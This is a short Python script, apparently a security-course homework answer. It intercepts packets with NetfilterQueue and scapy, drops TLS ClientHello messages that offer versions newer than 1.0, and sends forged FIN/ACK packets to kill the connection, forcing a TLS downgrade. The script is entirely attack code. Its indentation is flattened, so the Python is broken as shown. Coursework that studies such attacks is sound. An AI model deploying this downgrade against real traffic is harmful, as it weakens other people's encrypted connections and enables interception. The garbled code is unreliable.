			from netfilterqueue import NetfilterQueue
			from scapy.all import *

			def callback(pkt):
			shouldDrop = False

			ip = IP(pkt.get_payload())
			if ip.haslayer(Raw):
			data_bytes = ip[Raw].load
			# First, detect the client hello message
			if data_bytes[0] == 0x16 and data_bytes[1] == 0x03: # and data_bytes[5] == 0x01:
			# Secondly, drop clientHello if TLS version is higher than 1.0
			if data_bytes[1] == 0x03 and data_bytes[2] > 0x01:
			shouldDrop = True
			# Finally, terminate the current connection
			new_packet = IP(dst=ip[IP].dst, src=ip[IP].src)/TCP()
			new_packet[TCP].sport = ip[TCP].sport
			new_packet[TCP].dport = ip[TCP].dport
			new_packet[TCP].seq = ip[TCP].seq
			new_packet[TCP].ack = ip[TCP].ack
			new_packet[TCP].flags = 'FA'
			send(new_packet)

			if shouldDrop:
			pkt.drop()
			else:
			pkt.accept()

			nfqueue = NetfilterQueue()
			nfqueue.bind(0, callback, 100)
			try:
			nfqueue.run()
			except KeyboardInterrupt:
			print('')

			nfqueue.unbind()

infosec/hw3/ex42.py
909c6e1d2197master

ex42.py
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